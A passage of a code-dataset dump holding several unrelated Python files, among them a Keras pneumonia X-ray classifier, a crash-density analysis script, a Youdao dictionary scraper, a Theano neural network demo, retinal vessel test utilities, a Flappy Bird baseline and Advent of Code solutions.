dict(map(lambda c: (c['code'], c['name']), currencies))\n","sub_path":"fiscalmodel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"32195410","text":"#importing required libraries\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Conv2D\r\nfrom keras.layers import MaxPooling2D\r\nfrom keras.layers import Flatten\r\nfrom keras.layers import Dense\r\nfrom keras.layers import Dropout\r\n\r\n#Building the convolutional neural network architecture\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, (3,3), input_shape = (128,128,3), activation = 'relu'))\r\nmodel.add(MaxPooling2D(pool_size = (2,2)))\r\n\r\nmodel.add(Conv2D(32, (3,3), activation = 'relu'))\r\nmodel.add(MaxPooling2D(pool_size = (2,2)))\r\n\r\nmodel.add(Conv2D(32, (3,3), activation = 'relu'))\r\nmodel.add(MaxPooling2D(pool_size = (2,2)))\r\n\r\nmodel.add(Flatten())\r\n\r\nmodel.add(Dense(64, activation = 'relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(1, activation = 'sigmoid'))\r\n\r\n\r\n#Compiling the model\r\nmodel.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\r\n\r\n#preprocessing images for the model\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\n\r\ntrain_datagen = ImageDataGenerator(rescale=1. / 255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\nvalidation_datagen = ImageDataGenerator(rescale=1./ 255)\r\n\r\ntraining_set = train_datagen.flow_from_directory('dataset/train',\r\n target_size=(128,128),\r\n batch_size=32,\r\n class_mode='binary')\r\n\r\nvalidation_set = validation_datagen.flow_from_directory('dataset/val',\r\n target_size=(128,128),\r\n batch_size=32,\r\n class_mode='binary')\r\n#training the network\r\nfrom time import time\r\nprint(\"training the neural network ... \\n\\n\")\r\nt0 = time()\r\n\r\n#if the model is already trained once, comment model.fit_generator(...) line below \r\n# and uncomment the model.load_weigths(\"weights.h5\") line\r\n \r\nmodel.fit_generator(training_set,\r\n steps_per_epoch=5216,\r\n epochs=25,\r\n validation_data=validation_set,\r\n workers = 12,\r\n max_q_size = 100,\r\n validation_steps=16)\r\nprint(\"\\n\\n training took \",round(time()-t0,3)/3600,'hrs')\r\n\r\n#saving the trained hyper-parameters as weights.h5\r\nmodel.save_weights('weights.h5')\r\n\r\n#after running the above command the value of parameters will be saved in a file \r\n#names weights.h5 , in order to load the weights , uncommment the below line\r\n\r\n#model.load_weights(\"weights.h5\")\r\n\r\n#testing the model on a test image -- the image is of a chest X ray with pneumonia, the model should predict pneumonia\r\nfrom keras.preprocessing import image\r\nimport numpy as np\r\n\r\ntest_image = image.load_img('dataset/test_image.jpeg', target_size = (128,128))\r\ntest_image = image.img_to_array(test_image)\r\ntest_image = np.expand_dims(test_image, axis = 0)\r\n\r\nprediction = model.predict(test_image)\r\n\r\nif prediction[0][0] == 1:\r\n print(\"the person is having pneumonia\\n\")\r\nelse:\r\n print(\"the person does not have pneumonia\\n\")\r\n ","sub_path":"pneumonia_detector.py","file_name":"pneumonia_detector.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"76701327","text":"import json\nimport dml\nimport uuid\nimport prov.model\nfrom datetime import datetime\nfrom pyproj import Proj, transform\nfrom geopy.distance import vincenty\nfrom rtree import index as rt_index\n\ndef getVDist(lat1, long1, lat2, long2):\n return vincenty((lat1, long1), (lat2, long2)).kilometers\n\ndef str2Datetime(date, time):\n return datetime.strptime(\" \".join([date, time]), \"%d-%b-%Y %I:%M %p\")\n\ndef epsg2LonLat(x, y): # lon-lat\n inproj = Proj(init='epsg:26986') # EPSG for MA\n outproj = Proj(init=\"epsg:4326\") # EPSG for world map\n return transform(inproj, outproj, x, y)\n\ndef isNighttime(dtobj):\n return dtobj.hour < 6 or dtobj.hour > 17\n\n# Since mongodb uses the value stored in data as spatial search unit,\n# We need to convert the value if we want to conduct range search based on unit other than radius\ndef kmToRadius(kms):\n earthRadiusInkms = 6371\n return kms / earthRadiusInkms\n\n# Finding road safety rating by using numbers of\n# surrounding traffic signals and road lights\nclass TransformAccidentDensity(dml.Algorithm):\n contributor = 'liwang_pyhsieh'\n reads = ['liwang_pyhsieh.crash_2015']\n writes = ['liwang_pyhsieh.crash_temporal_spatial', 'liwang_pyhsieh.accident_density']\n\n @staticmethod\n def execute(trial=False):\n startTime = datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('liwang_pyhsieh', 'liwang_pyhsieh')\n\n crash_2015_temporal_spatial = []\n rtree_spidx = rt_index.Index()\n\n # Pick all accidents occurs at night\n # We also transform the spatial data format to make it support mongodb spatial search\n # Since this dataset uses EPSG system, we need coordinate conversion as well\n db_search = repo['liwang_pyhsieh.crash_2015'].find() \n\n # Note: Currently there's some problem on using mongodb's spatial indexing, \n # so here we use R-tree index for spatial search.\n for dataobj in db_search:\n str_date = dataobj[\"Crash Date\"] + \" \" + dataobj[\"Crash Time\"]\n dateobj_date = datetime.strptime(str_date, \"%d-%b-%Y %I:%M %p\")\n if isNighttime(dateobj_date):\n longitude, latitude = epsg2LonLat(dataobj[\"X Coordinate\"], dataobj[\"Y Coordinate\"])\n tmp_item = {\n \"_id\": dataobj[\"Crash Number\"],\n \"location\": {\n \"type\": \"Point\",\n \"coordinates\": [longitude, latitude]\n },\n \"time\": dateobj_date\n }\n crash_2015_temporal_spatial.append(tmp_item)\n # Insert into R-Tree index (as point)\n rtree_spidx.insert(\n tmp_item[\"_id\"],\n (tmp_item[\"location\"][\"coordinates\"][0], tmp_item[\"location\"][\"coordinates\"][1],\n tmp_item[\"location\"][\"coordinates\"][0], tmp_item[\"location\"][\"coordinates\"][1]),\n obj=tmp_item\n )\n\n # Store the result\n repo.dropCollection(\"crash_temporal_spatial\")\n repo.createCollection(\"crash_temporal_spatial\")\n # repo['liwang_pyhsieh.crash_spatial'].create_index([(\"location.coordinates\", dml.pymongo.GEOSPHERE)])\n repo['liwang_pyhsieh.crash_temporal_spatial'].insert_many(crash_2015_temporal_spatial)\n\n # Compute accident density\n accident_density = []\n density_dist = 3.0\n density_dist_rad = kmToRadius(density_dist)\n\n for posdata in crash_2015_temporal_spatial:\n search_result = list(rtree_spidx.intersection(\n (posdata[\"location\"][\"coordinates\"][0] - density_dist_rad, posdata[\"location\"][\"coordinates\"][1] - density_dist_rad,\n posdata[\"location\"][\"coordinates\"][0] + density_dist_rad, posdata[\"location\"][\"coordinates\"][1] + density_dist_rad\n ), objects=True\n ))\n # Since r-tree only allow rectangular search, we need to further check the distance\n search_result = [\n x for x in search_result\n if getVDist(posdata[\"location\"][\"coordinates\"][1], posdata[\"location\"][\"coordinates\"][0],\n x.object[\"location\"][\"coordinates\"][1], x.object[\"location\"][\"coordinates\"][0]) <= density_dist\n and posdata[\"_id\"] != x.object[\"_id\"]\n ]\n accident_density.append({\n \"_id\": posdata[\"_id\"],\n \"accident_density\": len(search_result)\n })\n\n '''\n # We planned to use mongodb's spatial query utility, but doesn't get expected result\n # It's possible that the problem is caused by precision on convertion between radius and kilometer\n temp_density = repo['liwang_pyhsieh.crash_spatial'].find({\n \"loc\": {\"$geoWithin\": {\"$centerSphere\": [posdata[\"location\"][\"coordinates\"], density_dist]}}\n }).count()\n accident_density.append({\n \"_id\": posdata[\"_id\"],\n \"accident_density\": temp_density\n })\n '''\n\n repo.dropCollection(\"accident_density\")\n repo.createCollection(\"accident_density\")\n repo[\"liwang_pyhsieh.accident_density\"].insert_many(accident_density)\n\n repo.logout()\n endTime = datetime.now()\n\n return {\"start\": startTime, \"end\": endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('liwang_pyhsieh', 'liwang_pyhsieh')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n\n # create document object and define namespaces\n this_script = doc.agent('alg:liwang_pyhsieh#transformAccidentDensity',\n {prov.model.PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\n # https://data.cityofboston.gov/resource/492y-i77g.json\n resource_crash_2015 = doc.entity('dat:liwang_pyhsieh#crash_2015', {prov.model.PROV_LABEL: '2015 Massachusetts Crash Report', prov.model.PROV_TYPE: 'ont:DataSet'})\n\n get_crash_2015 = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(get_crash_2015, this_script)\n doc.usage(get_crash_2015, resource_crash_2015, startTime, None, {prov.model.PROV_TYPE: 'ont:Retrieval'})\n\n get_crash_temporal_spatial = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime)\n crash_temporal_spatial = doc.entity('dat:liwang_pyhsieh#crash_temporal_spatial',\n {prov.model.PROV_LABEL: 'Crash accident locations with spatial indexing and time', prov.model.PROV_TYPE: 'ont:DataSet'})\n\n doc.wasAttributedTo(crash_temporal_spatial, this_script)\n doc.wasGeneratedBy(crash_temporal_spatial, get_crash_temporal_spatial, endTime)\n doc.wasDerivedFrom(crash_temporal_spatial, resource_crash_2015, get_crash_temporal_spatial, get_crash_temporal_spatial, get_crash_temporal_spatial)\n\n get_accident_density = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime)\n accident_density = doc.entity('dat:liwang_pyhsieh#accident_density',\n {prov.model.PROV_LABEL: 'Accident density on each crash position',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n\n doc.wasAttributedTo(accident_density, this_script)\n doc.wasGeneratedBy(accident_density, get_accident_density, endTime)\n doc.wasDerivedFrom(accident_density, resource_crash_2015, get_accident_density, get_accident_density, get_accident_density)\n\n repo.logout()\n\n return doc\n\n\nif __name__ == \"__main__\":\n TransformAccidentDensity.execute()\n doc = TransformAccidentDensity.provenance()\n print(doc.get_provn())\n print(json.dumps(json.loads(doc.serialize()), indent=4))","sub_path":"liwang_pyhsieh/TransformAccidentDensity.py","file_name":"TransformAccidentDensity.py","file_ext":"py","file_size_in_byte":8686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"604169908","text":"#Welcome to my data crunsher for the ZLB \n#The idea is to calculate for any day what amount of orders arrives at 8am\n\n#First I need to get the data from the relevant day as well as the preceeding day\nimport re #need regular expressions to find the exact index of my required data \n\npath = '/home/david/Documents/ZLBData/nutzbares/benutzung_20200929.txt' \nf = open(path)\ndayInQ = f.read()\nInd_0708 = '2245:2248' #location of the number corresponding to AGB orders from 07am to 08am\nInd_FRUEHER = '2916:2919'\n#print(dayInQ[2916:2919])\n\npath2 = '/home/david/Documents/ZLBData/nutzbares/benutzung_20200928.txt'\nf2 = open(path2)\ndayBef = f2.read()\nInd_2021 = '2869:2873'\nInd_SPAETER = '2958:2960'\n#print(dayBef[2869:2873])\n\nresult = [dayBef[2963:2967].strip(' '), dayBef[2869:2873].strip(' '), dayInQ[2916:2919].strip(' '), dayInQ[2245:2248].strip(' ')]\n\ncleanList = []\nfor element in result:\n cleanElement = element.strip()\n try:\n cleanList.append(int(cleanElement))\n except:\n continue\n\n#print(cleanList)\n\nSum = cleanList[0] + cleanList[1] + cleanList[2] + cleanList[3]\n\nprint('Am Morgen des 29.09.2020 waren vor 10 Uhr ' + str(Sum) + ' Bestellungen in der AGB rauszusuchen.')\n\n#use this code block to find any pattern in the data\n'''\npattern = '20-21'\nmatch = re.search(pattern, dayBef)\n\ns = match.start()\ne = match.end()\n\n\nprint ('Found \"%s\" in \"%s\" from %d to %d (\"%s\")' % \\\n (match.re.pattern, match.string, s, e, dayBef[s:e]))\n \n'''","sub_path":"ZLB_Magazin_Rechner_fuer_Bestellvorkommen.py","file_name":"ZLB_Magazin_Rechner_fuer_Bestellvorkommen.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"305921863","text":"# program for adding diagonal elements of matrix\ndef Print_result(arr):\n\n\tl = len(arr)\n\tfirst_result,second_result = 0,0\n\tfor i in range(l):\n\t\tfirst_result += arr[i][i]\n\t\tsecond_result +=arr[i][l-i-1]\n\tprint(\"first_daigonal_result is :\",first_result)\n\tprint(\"second_daigonal_result is :\",second_result)\n\tdifference = first_result - second_result\n\tprint(\"diffference of two daigonal result is :\",abs(difference))\narr = [[1,2,3],[3,4,5],[4,5,8]]\nPrint_result(arr)","sub_path":"matrix_addition.py","file_name":"matrix_addition.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"608519475","text":"# coding:utf-8\nimport os\nimport re\n\nimport xmltodict\nfrom scrapy import Spider\nfrom scrapy.crawler import CrawlerProcess\n\nfrom app.exceptions import DataError, error_dict\nfrom app.models import Word, WordIPEAP, WordInterpretation\nfrom celery_tasks.models import Session\n\n\ndef write_obj_to_file(obj):\n import json\n filename = 'output.json'\n f = open(filename, 'a')\n f.write(json.dumps(obj) + '\\n')\n f.close()\n print('*'*100, '\\n', 'output finished', os.getcwd());\n\n\ndef update_word(dict_word):\n session = Session()\n word_obj = session.query(Word).filter(Word.word == dict_word['w']).first()\n if not word_obj:\n raise DataError('WORD_NOT_FOUND', error_dict['WORD_NOT_FOUND'])\n session.query(WordIPEAP).filter(WordIPEAP.word_id == word_obj.id).delete()\n session.query(WordInterpretation).filter(WordInterpretation.word_id == word_obj.id).delete()\n word_obj.phonetics = dict_word.get('ph')\n word_obj.note = dict_word.get('n')\n for itp_item in dict_word.get('itp') or []:\n itp_obj = WordInterpretation.create_word_interpretation(word_obj, itp_item['itp_type'], itp_item['itp_str'], session)\n for eap_item in itp_item.get('eap') or []:\n WordIPEAP.create_word_ipeap(itp_obj, eap_item, session)\n session.add(word_obj)\n session.commit()\n session.close()\n\n\n# define a spider\nclass YoudaoDictSpider(Spider):\n name = 'shiyanlou_spider1'\n\n def __init__(self, word=None, word_method=None):\n \"\"\"\n :param word: 要爬的单词的列表\n :param dict_method: 对处理的对象的办法.\n \"\"\"\n super().__init__()\n self.word = word\n url = 'http://dict.youdao.com/w/eng/{}/'\n self.start_urls = [url.format(word)]\n self.word_method = word_method\n\n def parse(self, response):\n word = self.word\n output_item = {'w': word, 'ph': '', 'itp': []}\n trans = response.css('div#authTrans div#collinsResult')\n if trans == []:\n output_item['itp'].append({'itp_type': 'None', 'itp_str': 'collins interpretation not exists in youdao!'})\n else:\n word_phonetics = trans.css('em[class=\"additional spell phonetic\"]::text').extract_first()\n if word_phonetics:\n output_item['ph'] = word_phonetics\n trans_list = trans.css('ul.ol>li')\n for item in trans_list:\n word_str = item.css('div.collinsMajorTrans p').extract_first()\n trans_item = {}\n if not word_str:\n continue\n word_str_clean = re.sub('\\s{2,}', '', word_str)\n if '<b>' in word_str_clean:\n word_str_clean = word_str_clean.replace('<b>', '').replace('</b>', '')\n word_dict = xmltodict.parse(word_str_clean)\n span_node = word_dict.get('p').get('span')\n try:\n if type(span_node) == list:\n word_type = span_node[0]['#text']\n else:\n word_type = span_node['#text']\n except:\n word_type = ''\n trans_item['itp_type'] = word_type\n trans_item['itp_str'] = word_dict.get('p').get('#text')\n trans_item['eap'] = []\n for example_item in item.css('div.examples '):\n example_sentence = '|'.join(example_item.css('p::text').extract())\n trans_item['eap'].append(example_sentence)\n output_item['itp'].append(trans_item)\n # write_obj_to_file('output.txt', output_item)\n # try:\n self.word_method(output_item)\n # except Exception as e:\n # print(e)\n yield output_item\n\n\ndef crawl_update_word(word, option=2):\n process = CrawlerProcess({\n 'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'\n })\n word_method = None\n if option == 1:\n word_method = write_obj_to_file\n elif option == 2:\n word_method = update_word\n process.crawl(YoudaoDictSpider, word=word, word_method=word_method)\n process.start()\n\n\nif __name__ == '__main__':\n crawl_update_word('programmes', 2)\n","sub_path":"celery_tasks/craw_word.py","file_name":"craw_word.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469651533","text":"#example: https://github.com/dennybritz/nn-theano/blob/master/nn-theano.ipynb\nimport theano \nimport theano.tensor as T\n#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn\nimport sklearn.datasets\n#%%\nnp.random.seed(0)\ntrain_X, train_y = sklearn.datasets.make_moons(200, noise=0.20)\ntrain_X = train_X.astype(\"float32\")\ntrain_y = train_y.astype(\"int32\")\nprint (train_X.shape, train_y.shape)\nplt.scatter(train_X[:,0],train_X[:,1],c= train_y)\n#%%\ndef plot_decision_boundary(pred_func):\n # Set min and max values and give it some padding\n x_min, x_max = train_X[:, 0].min() - .5, train_X[:, 0].max() + .5\n y_min, y_max = train_X[:, 1].min() - .5, train_X[:, 1].max() + .5\n h = 0.01\n # Generate a grid of points with distance h between them\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n # Predict the function value for the whole gid\n Z = pred_func(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n # Plot the contour and training examples\n plt.contourf(xx, yy, Z, cmap=plt.cm.Spectral)\n plt.scatter(train_X[:, 0], train_X[:, 1], c=train_y, cmap=plt.cm.Spectral)\n#%%\n#deinging hyper parameters\nnum_examples = len(train_X) \nnn_input_dim = 2 \nnn_output_dim = 2 \nnn_hdim = 100 \nepsilon = 0.01 \nreg_lambda = 0.01 \n#%%\nX = T.dmatrix(\"X\")\ny = T.lvector(\"y\")\nW1 = theano.shared(np.random.randn(nn_input_dim,nn_hdim), name = \"W1\")\nb1 = theano.shared(np.zeros(nn_hdim),name = \"b1\")\nW2 = theano.shared(np.random.randn(nn_hdim,nn_output_dim), name = \"W2\")\nb2 = theano.shared(np.zeros(nn_output_dim), name = \"b2\")\n#%%\n# forward propogation \nz1 = X.dot(W1) + b1\na1 = T.tanh(z1)\nz2 = a1.dot(W2) + b2\ny_hat = T.nnet.softmax(z2)\nforward = theano.function([X],y_hat)\nloss = T.nnet.categorical_crossentropy(y_hat, y).mean() \ncalculate_loss = theano.function([X, y], loss)\nprediction = T.argmax(y_hat, axis=1)\npredict = theano.function([X],prediction)\n#%%\n# Backpropogation \ndW1,db1,dW2,db2 = T.grad(loss, [W1,b1,W2,b2])\ngradient_step = theano.function(\n [X, y],\n updates=((W2, W2 - epsilon * dW2),\n (W1, W1 - epsilon * dW1),\n (b2, b2 - epsilon * db2),\n (b1, b1 - epsilon * db1)))\n\n#%%\ndef build_model(num_passes=20000, print_loss=False):\n \n # Re-Initialize the parameters to random values. We need to learn these.\n # (Needed in case we call this function multiple times)\n np.random.seed(0)\n W1.set_value(np.random.randn(nn_input_dim, nn_hdim) / np.sqrt(nn_input_dim))\n b1.set_value(np.zeros(nn_hdim))\n W2.set_value(np.random.randn(nn_hdim, nn_output_dim) / np.sqrt(nn_hdim))\n b2.set_value(np.zeros(nn_output_dim))\n \n # Gradient descent. For each batch...\n for i in range(num_passes):\n # This will update our parameters W2, b2, W1 and b1!\n gradient_step(train_X, train_y)\n \n # Optionally print the loss.\n # This is expensive because it uses the whole dataset, so we don't want to do it too often.\n if print_loss and i % 1000 == 0:\n print (\"Loss after iteration %i: %f\" %(i, calculate_loss(train_X, train_y)))\n \n#%%\nimport time \nstart = time.time()\nbuild_model(print_loss=True)\nend = time.time()\nprint (end - start)\n\n# Plot the decision boundary\nplot_decision_boundary(lambda x: predict(x))\nplt.title(\"Decision Boundary for hidden layer size 3\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"example3/neural3.py","file_name":"neural3.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"174291695","text":"import cv2\nimport numpy as np\n\nfrom methods.optic_disk import cached_optic_norm\nfrom util.data_util import accuracy, auc_score\nfrom util.image_util import gray_norm, find_best_thresh\n\n\ndef optic_train(op, thresh, data, size):\n avg_acc_list = []\n\n for optic_thresh in range(1, 255):\n acc_list = []\n\n for path, img, mask, ground in data:\n img = 255 - img[:, :, 1]\n\n optic = cached_optic_norm(path, img, mask, size)\n optic = cv2.threshold(optic, optic_thresh, 255, cv2.THRESH_BINARY)[1]\n optic = cv2.erode(optic, np.ones((3, 3), np.uint8), iterations=1)\n\n line_str = op(path, img, mask, size)\n line_str[optic == 255] = line_str[mask == 255].min()\n line_str = gray_norm(line_str, mask)\n bin = cv2.threshold(line_str, thresh, 255, cv2.THRESH_BINARY)[1]\n\n bin_fov = bin[mask == 255]\n ground_fov = ground[mask == 255]\n acc = accuracy(bin_fov, ground_fov)\n\n acc_list.append(acc)\n\n avg_acc = np.mean(acc_list)\n\n avg_acc_list.append(avg_acc)\n\n best = np.argmax(avg_acc_list)\n\n return best + 1, avg_acc_list[best]\n\n\ndef optic_test(op, data, thresh, optic_thresh):\n size = 15\n acc_list = []\n\n for path, img, mask, ground in data:\n img = 255 - img[:, :, 1]\n\n line_str = op(path, img, mask, size)\n line_str = gray_norm(line_str, mask)\n bin = cv2.threshold(line_str, thresh, 255, cv2.THRESH_BINARY)[1]\n\n optic = cached_optic_norm(path, img, mask, size)\n optic = cv2.threshold(optic, optic_thresh, 255, cv2.THRESH_BINARY)[1]\n optic = cv2.erode(optic, np.ones((3, 3), np.uint8), iterations=1)\n bin[optic == 255] = 0\n\n bin_fov = bin[mask == 255]\n ground_fov = ground[mask == 255]\n acc = accuracy(bin_fov, ground_fov)\n\n acc_list.append(acc)\n\n return np.mean(acc_list)\n\n\ndef optic_test_each(op, data, size):\n acc_list = []\n auc_list = []\n\n for path, img, mask, ground in data:\n img = 255 - img[:, :, 1]\n\n line_str = op(path, img, mask, size)\n line_str_norm = gray_norm(line_str, mask)\n bin = find_best_thresh(line_str_norm, ground, mask)[1]\n\n temp_acc = []\n\n for optic_thresh in range(1, 255):\n optic = cached_optic_norm(path, img, mask, size)\n optic = cv2.threshold(optic, optic_thresh, 255, cv2.THRESH_BINARY)[1]\n optic = cv2.erode(optic, np.ones((3, 3), np.uint8), iterations=1)\n\n bin_subtract = bin.copy()\n bin_subtract[optic == 255] = 0\n\n acc = accuracy(ground, bin_subtract)\n\n temp_acc.append(acc)\n\n best_acc = np.max(temp_acc)\n best_optic_thresh = np.argmax(temp_acc) + 1\n\n optic = cached_optic_norm(path, img, mask, size)\n optic = cv2.threshold(optic, best_optic_thresh, 255, cv2.THRESH_BINARY)[1]\n optic = cv2.erode(optic, np.ones((3, 3), np.uint8), iterations=1)\n\n line_str[optic == 255] = line_str.min()\n auc = auc_score(ground, line_str, mask)\n\n acc_list.append(best_acc)\n auc_list.append(auc)\n\n return np.mean(acc_list), np.mean(auc_list)\n","sub_path":"util/test/optic_test_util.py","file_name":"optic_test_util.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150126908","text":"import gym\nenv_dict = gym.envs.registration.registry.env_specs.copy()\nfor env in env_dict:\n if 'FlappyBird-v0' in env or 'FlappyBird-rgb-v0' in env:\n del gym.envs.registration.registry.env_specs[env]\nimport flappy_bird_gym\n\nimport pygame\nimport numpy as np\nimport sys\nimport os.path\nfrom argparse import ArgumentParser\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import PercentFormatter\nimport scipy.stats as st\nimport seaborn as sns\n\nnr_of_birds = 5\niterations = int(500/nr_of_birds)\nvalue = -0.054\n\ndef main(env=0, show_prints=False, show_gui=False, fps=100):\n env = flappy_bird_gym.make(\"FlappyBird-v0\")\n bar_length = 30\n\n test_result = 1\n results = 0\n\n filename = \"marco_carlo_results.npy\"\n\n if test_result:\n start2 = datetime.now()\n\n results = np.zeros(iterations*nr_of_birds, dtype=int)\n for i in range(iterations):\n results[i*nr_of_birds:(i+1)*nr_of_birds] = play_game(env, show_prints=False, show_gui=False)[:]\n\n # Progress bar\n if i % int(iterations/100 + 1) == 0:\n percent = 100.0*i/(iterations-1)\n sys.stdout.write('\\r')\n sys.stdout.write(\"\\rExperiment progress: [{:{}}] {:>3}%\".format('='*int(percent/(100.0/bar_length)),bar_length, int(percent)))\n sys.stdout.flush()\n\n end2 = datetime.now()\n np.save(filename, results)\n print(\"\\nExperiment took %.2f mins\\n\"%((end2-start2).seconds/60))\n print(\"Fraction of games scored zero points: %.2f%%\" %(len(results[results==0])/len(results)*100) )\n\n elif os.path.isfile(filename):\n with open(filename, 'rb') as f:\n results = np.load(f)\n start2 = datetime.now()\n end2 = datetime.now()\n\n print(\"average:\", np.average(results))\n print(\"std dev:\", np.std(results))\n print(\"variance:\", np.std(results)**2)\n print(\"2st moment:\", st.moment(results, moment=2))\n print(\"3st moment:\", st.moment(results, moment=3))\n print(\"4st moment:\", st.moment(results, moment=4))\n\n if test_result or True:\n fig, axs = plt.subplots(2,1, figsize=(10,7))\n plt.subplots_adjust(hspace=0.4)\n\n ax = 0\n axs[ax].plot(results, 'ob', alpha=0.1, markersize=2)\n axs[ax].set_title(\"After learning\")\n axs[ax].set_xlabel(\"Iteration\")\n axs[ax].set_ylabel(\"Points scored\")\n axs[ax].set_xlim([0,len(results)])\n\n ax = 1\n freq, bins, patches = axs[ax].hist(results, color='red', ec=\"k\", bins=100, weights=np.ones(len(results)) / len(results))\n axs[ax].set_ylabel(\"Frequency\")\n axs[ax].set_xlabel(\"Points scored\")\n axs[ax].set_title(\"%d games ~ took %.2f mins\"%(iterations*nr_of_birds,(end2-start2).seconds/60))\n axs[ax].set_xlim(-0.25)\n axs[ax].yaxis.set_major_formatter(PercentFormatter(1))\n\n plt.savefig(\"Marco_Carlo_results.png\")\n\n plt.figure()\n sns.histplot(data=results, kde=True, color = 'darkblue',bins=40, stat=\"probability\")\n # sns.displot(data=results, kde=True, color = 'darkblue',bins=int(180/5))\n # sns.distplot(results, hist=True, kde=True,\n # bins=int(180/5), norm_hist=True, color = 'darkblue',\n # hist_kws={'edgecolor':'black'},\n # kde_kws={'linewidth': 1})\n plt.xlabel(\"Points scored\")\n plt.title(\"Baseline - %d games\"%10000)\n plt.xlim(0)\n plt.savefig(\"Marco_Carlo_results.png\")\n\n\ndef play_game(env=0, show_prints=False, show_gui=False, fps=100):\n\n if not env:\n env = flappy_bird_gym.make(\"FlappyBird-v0\")\n\n obs = env.reset(nr_of_birds)\n\n if show_gui:\n env.render()\n\n while True:\n if show_gui:\n pygame.event.pump()\n\n actions = np.zeros(nr_of_birds)\n obs = env._get_observation()\n for i in range(nr_of_birds):\n actions[i] = (obs[i][1] < value)\n\n # Processing:\n obs, reward, done, scores = env.step(actions)\n\n if show_prints:\n print(\"\")\n for i in range(nr_of_birds):\n print(\"BIRD %d:\\t\"%i, obs[i], \"\\tReward:\", reward[i], \"\\tdied:\",done[i], \"\\tscore:\",scores[i])\n\n # Rendering the game:\n # (remove this two lines during training)\n if show_gui:\n env.render()\n time.sleep(1 / fps) # FPS\n\n # Checking if any the player is still alive\n if all(done):\n break\n\n env.close()\n return scores\n\n\n\nif __name__=='__main__':\n parser = ArgumentParser()\n\n parser.add_argument(\"-g\",\n dest=\"show_gui\",\n action=\"store_true\",\n help=\"Whether the game GUI should be shown or not\")\n\n parser.add_argument(\"-v\", \"--verbose\",\n dest=\"verbose\",\n action=\"store_true\",\n help=\"Print information while playing the game\")\n\n parser.add_argument(\"-fps\",\n dest=\"fps\",\n type=int,\n default=100,\n help=\"Specify in how many FPS the game should run\")\n\n options = parser.parse_args()\n\n main(show_prints=options.verbose, show_gui=options.show_gui, fps=options.fps)","sub_path":"multi-flappy-bird/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"268504086","text":"#!/usr/bin/env python3\n\n#Advent of Code\n#2015 Day 14, Part 2\n#Solution by James C. (https://github.com/JamesMCo)\n\nf = open(\"puzzle_input.txt\")\npuzzle_input = f.read().strip().split(\"\\n\")\nf.close()\n\nduration = 2503\nstats = []\nfor reindeer in puzzle_input:\n reindeer = reindeer.split()\n\n stats.append({\"t\": 0,\n \"d\": 0,\n \"speed\": int(reindeer[3]),\n \"flytime\": int(reindeer[6]),\n \"resttime\": int(reindeer[13]),\n \"state\": \"fly\",\n \"points\": 0})\n\nfor second in range(duration):\n for i in range(len(stats)):\n if stats[i][\"state\"] == \"fly\":\n stats[i][\"d\"] += stats[i][\"speed\"]\n stats[i][\"t\"] += 1\n if stats[i][\"t\"] == stats[i][\"flytime\"]:\n stats[i][\"t\"] = 0\n stats[i][\"state\"] = \"rest\"\n\n elif stats[i][\"state\"] == \"rest\":\n stats[i][\"t\"] += 1\n if stats[i][\"t\"] == stats[i][\"resttime\"]:\n stats[i][\"t\"] = 0\n stats[i][\"state\"] = \"fly\"\n\n first = max(reindeer[\"d\"] for reindeer in stats)\n for i in range(len(stats)):\n if stats[i][\"d\"] == first:\n stats[i][\"points\"] += 